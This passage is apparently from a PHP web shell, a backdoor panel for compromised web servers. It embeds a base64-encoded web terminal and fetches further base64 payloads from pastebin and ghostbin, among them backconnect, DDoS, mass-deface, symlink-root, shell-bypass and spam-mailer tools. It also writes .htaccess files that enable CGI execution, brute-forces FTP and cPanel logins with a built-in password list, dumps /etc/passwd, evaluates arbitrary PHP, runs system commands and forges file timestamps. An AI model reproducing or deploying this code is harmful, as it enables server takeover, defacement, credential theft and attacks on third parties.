ZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';    $file       = fopen("command.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";}//end NewCommand//symrootelseif ($action == 'symroot') {   $file       = fopen($dir . "symroot.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');    $file       = fopen("symroot.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";	}//Zipcodeelseif ($action == 'zipcode') {     $file       = fopen($dir . "zipcode.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');    $file       = fopen("zipcode.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";	}//Massdefaceelseif ($action == 'mass') {    $file       = fopen($dir . "mass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');    $file       = fopen("mass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='mass.php' width='100%' height='500'></iframe>";	}//ShellBypasselseif ($action == 'vb') {	 $file       = fopen($dir . "shellbypass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');    $file       = fopen("shellbypass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";	}elseif ($action == 'termi') {    $file       = fopen($dir . "DGTerminal.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');    $file       = fopen("DGTerminal.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";	} elseif ($action == 'cgipin') {    mkdir('Pin', 0755);    chdir('Pin');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +ExecCGIAddHandler cgi-script cgi pl cgi gmc pin jpgRewriteEngine onRewriteRule (.*)\.mil$ $1.cgiOptions +FollowSymLinksDirectoryIndex cmd.htmlOptions +IndexesRemoveHandler .hackAddType text/plain .hack";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');    $file = fopen("cgi.pin", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("cgi.pin", 0755);    echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'telnet') {    mkdir('tel', 0755);    chdir('tel');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +FollowSymLinks +IndexesDirectoryIndex default.html ## START ##Options +ExecCGIAddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone AddType application/x-httpd-php .jpgRewriteEngine onRewriteRule (.*)\war$ .log## END ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');    $file = fopen("telnet.pl", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("telnet.pl", 0755);    echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'endecode') {$en  = 'http://pastebin.com/raw.php?i=y5Qhr0WM';$de = file_get_contents($en);$cone = fopen('endecode.php', 'w');fwrite($cone,$de);fclose($cone);echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";}elseif ($action == 'ddosv2') {$ddosv  = 'http://pastebin.com/raw.php?i=XYwv7CSa';$dess = file_get_contents($ddosv);$coneww = fopen('ddosv2.php', 'w');fwrite($coneww,$dess);fclose($coneww);echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";}elseif ($action == 'bcphp') {    $file       = fopen($dir . "backconnect.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');    $file       = fopen("backconnect.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";}elseif ($action == 'viewdomain') {$viewdomain  = 'http://pastebin.com/raw.php?i=iGsiu7uK';$desszzzz = file_get_contents($viewdomain);$coww = fopen('viewdomain.php', 'w');fwrite($coww,$desszzzz);fclose($coww);echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";}elseif ($action == 'scan') {    $file       = fopen($dir . "scan.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');    $file       = fopen("scan.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='scan.php' width='100%' height='500'></iframe>";}elseif ($action == 'massfd') {    $file       = fopen($dir . "massfd.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');    $file       = fopen("massfd.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";}elseif ($action == 'reverseip') {       echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";} elseif ($action == 'spam') {    $file       = fopen($dir . "fakemail.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');    $file       = fopen("fakemail.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";}//Bugshellelseif ($action == 'bug') {$bug  = 'http://pastebin.com/raw.php?i=07hwC5fW';$bugshell = file_get_contents($bug);$bs = fopen('bugshell.php', 'w');fwrite($bs,$bugshell);fclose($mdf);echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";}//FINDADMINelseif ($action == 'findadmin') {$find  = 'http://pastebin.com/raw.php?i=8UmXBduC';$admin = file_get_contents($find);$dmm = fopen('findadmin.php', 'w');fwrite($dmm,$admin);fclose($dmm);echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";}// Bruteelseif ($action == 'brute') {formhead(array('title'=>'Brute Forcer'));	makehide('action','brute');	makehide('dir',$brute);@ini_set('memory_limit', 1000000000000);$connect_timeout=5;@set_time_limit(0);$submit = $_REQUEST['submit'];$users = $_REQUEST['users'];$pass = $_REQUEST['passwords'];$target = $_REQUEST['target'];$option = $_REQUEST['option'];$passlist = "01234560123456701234567801234567890123456789012345612345671234567812345678912345678901111110000002222223333334444445555556666667777778888889999991231234564567897891233214566546543217654321876543219876543210987654321adminadministratoradmincpcpaneladminxadminspasswordpasswordspassw0rdp@ssw0rdp@sswordkhongco25251325passw0rds";if($target == ''){$target = 'localhost';}print " <div align='center'><form method='post' style='border: 1px solid #000000'><br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td><b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p><div align='center'><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td align='center'><b>Username</b></td><td><p align='center'><b>Password</b></td></tr></table><p align='center'><textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";$i = 0;while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}echo "</textarea><textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br><br><b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p></td></tr></table></td></tr></form><p align= 'left'>";?><?phpfunction ftp_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> Error : Connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ attack@vbateam.net ]# </b><b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");}curl_close($ch);}function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> Error : Connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}if(isset($submit) && !empty($submit)){$userlist = explode ("\n" , $users );$passlist = explode ("\n" , $pass );p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');foreach ($userlist as $user) {$_user = trim($user);foreach ($passlist as $password ) {$_pass = trim($password);if($option == "ftp"){ftp_check($target,$_user,$_pass,$connect_timeout);}if ($option == "cpanel"){cpanel_check($target,$_user,$_pass,$connect_timeout);}}}}	formfoot();}elseif ($action == 'etcpwd') {formhead(array('title'=>'Get /etc/passwd'));	makehide('action','etcpwd');	makehide('dir',$nowpath);$i = 0; echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}  echo "</textarea></p>";	formfoot();}elseif ($action == 'eval') {	$phpcode = trim($phpcode);	if($phpcode){		if (!preg_match('#<\?#si', $phpcode)) {			$phpcode = "<?php\n\n{$phpcode}\n\n?>";		}		eval("?".">$phpcode<?");	}	formhead(array('title'=>'Eval PHP Code'));	makehide('action','eval');	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));	p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');	formfooter();}//end evalelseif ($action == 'editfile') {	if(file_exists($opfile)) {		$fp=@fopen($opfile,'r');		$contents=@fread($fp, filesize($opfile));		@fclose($fp);		$contents=htmlspecialchars($contents);	}	formhead(array('title'=>'Create / Edit File'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));	formfooter();}//end editfileelseif ($action == 'newtime') {	$opfilemtime = @filemtime($opfile);	//$time = strtotime("$year-$month-$day $hour:$minute:$second");	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);	formhead(array('title'=>'Clone file was last modified time'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));	formfooter();	formhead(array('title'=>'Set last modified'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	p('<p>Instead &raquo;');	p('year:');	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));	p('month:');	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));	p('day:');	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));	p('hour:');	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));	p('minute:');	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));	p('second:');	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));	p('</p>');	formfooter();}//end newtimeelseif ($action == 'shell') {	if (IS_WIN && IS_COM) {		if($program && $parameter) {			$shell= new COM('Shell.Application');			$a = $shell->ShellExecute($program,$parameter);			m('Program run has '.(!$a ? 'success' : 'fail'));		}		!$program && $program = 'c:\windows\system32\cmd.exe';		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';		formhead(array('title'=>'Execute Program'));		makehide('action','shell');		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));		p('<p>');		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));		p('</p>');		formfoot();	}	formhead(array('title'=>'Execute Command'));	makehide('action','shell');	if (IS_WIN && IS_COM) {		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));	}	p('<p>');	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));	p('</p>');	formfoot();	if ($command) {		p('<hr width="100%" noshade /><pre>');		if ($execfunc=='wscript' && IS_WIN && IS_COM) {			$wsh = new COM('WScript.shell');			$exec = $wsh->exec('cmd.exe /c '.$command);			$stdout = $exec->StdOut();			$stroutput = $stdout->ReadAll();			echo $stroutput;		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {			$descriptorspec = array(			   0 => array('pipe', 'r'),			   1 => array('pipe', 'w'),			   2 => array('pipe', 'w')			);			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);			if (is_resource($process)) {				fwrite($pipes[0], $command."\r\n");				fwrite($pipes[0], "exit\r\n");				fclose($pipes[0]);				while (!feof($pipes[1])) {					echo fgets($pipes[1], 1024);				}				fclose($pipes[1]);				while (!feof($pipes[2])) {					echo fgets($pipes[2], 1024);				}				fclose($pipes[2]);				proc_close($process);			}		} else {			echo(execute($command));		}		p('</pre>');	}}//end shellelseif ($action == 'phpenv') {	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');	!$dis_func && $dis_func = 'No';	$info = array(		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),		2 => array('Server Domain',$_SERVER['SERVER_NAME']),		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),		4 => array('Server OS',PHP_OS),		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),		8 => array('PHP run mode',strtoupper(php_sapi_name())),		9 => array('The file path',__FILE__),		10 => array('PHP Version',PHP_VERSION),		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),		12 => array('Safe Mode',getcfg('safe_mode')),		13 => array('Administrator',$adminmail),		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),		15 => array('enable_dl',getcfg('enable_dl')),		16 => array('display_errors',getcfg('display_errors')),		17 => array('register_globals',getcfg('register_globals')),		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),		19 => array('memory_limit',getcfg('memory_limit')),		20 => array('post_max_size',getcfg('post_max_size')),		21 => array('upload_max_filesize',$upsize),		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),		23 => array('disable_functions',$dis_func),	);	if($phpvarname) {		m($phpvarname .' : '.getcfg($phpvarname));	}	formhead(array('title'=>'Server environment'));	makehide('action','phpenv');	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));	formfooter();	$hp = array(0=> 'Server', 1=> 'PHP');	for($a=0;$a<2;$a++) {		p('<h2>'.$hp[$a].' &raquo;</h2>');		p('<ul class="info">');		if ($a==0) {			for($i=1;$i<=9;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		} elseif ($a == 1) {			for($i=10;$i<=23;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		}		p('</ul>');	}}//end phpenvelse {	m('Undefined Action');}?></td></tr></table><div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>	Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/profile.php?id=100011074965700 target=_blank><B>ShinJj   </B></a> - <B>All Rights Reserved.</B> </div></body></html><?php/*======================================================Show info shell======================================================*/function m($msg) {	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';	echo $msg;	echo '</div>';}function scookie($key, $value, $life = 0, $prefix = 1) {	global $admin, $timestamp, $_SERVER;	$key = ($prefix ? $admin['cookiepre'] : '').$key;	$life = $life ? $life : $admin['cookielife'];	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);}function multi($num, $perpage, $curpage, $tablename) {	$multipage = '';	if($num > $perpage) {		$page = 10;		$offset = 5;		$pages = @ceil($num / $perpage);		if($page > $pages) {			$from = 1;			$to = $pages;		} else {			$from = $curpage - $offset;			$to = $curpage + $page - $offset - 1;			if($from < 1) {				$to = $curpage + 1 - $from;				$from = 1;				if(($to - $from) < $page && ($to - $from) < $pages) {					$to = $page;				}			} elseif($to > $pages) {				$from = $curpage - $pages + $to;				$to = $pages;				if(($to - $from) < $page && ($to - $from) < $pages) {					$from = $pages - $page + 1;				}			}		}		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');		for($i = $from; $i <= $to; $i++) {			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';		}		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';	}	return $multipage;}// Login pagefunction loginpage() {?><html><head>		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><div class="clock"><div id="Date"></div>  <ul>      <li id="hours"></li>      <li id="point">:</li>      <li id="min"></li>      <li id="point">:</li>      <li id="sec"></li>  </ul>  <body bgcolor="black"></body></div>		<style type="text/css">		@font-face {    font-family: 'BebasNeueRegular';    src: url('BebasNeue-webfont.eot');    src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),         url('BebasNeue-webfont.woff') format('woff'),         url('BebasNeue-webfont.ttf') format('truetype'),         url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');    font-weight: normal;    font-style: normal;}.clock {    width: 800px;    margin: 0 auto;    padding: 30px;    border: 1px solid #333;    color: #fff;} #Date {    font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;    font-size: 36px;    text-align: center;    text-shadow: 0 0 5px #00c6ff;} ul {    width: 800px;    margin: 0 auto;    padding: 0px;    list-style: none;    text-align: center;} ul li {    display: inline;    font-size: 10em;    text-align: center;    font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;    text-shadow: 0 0 5px #00c6ff;} #point {    position: relative;    -moz-animation: mymove 1s ease infinite;    -webkit-animation: mymove 1s ease infinite;    padding-left: 10px;    padding-right: 10px;}@-webkit-keyframes mymove {    0% {opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;} 50% {    opacity: 0;    text-shadow: none;} 100% {    opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;}} @-moz-keyframes mymove {    0% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    }     50% {        opacity: 0;        text-shadow: none;    }     100% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    };}</style><script type="text/javascript" 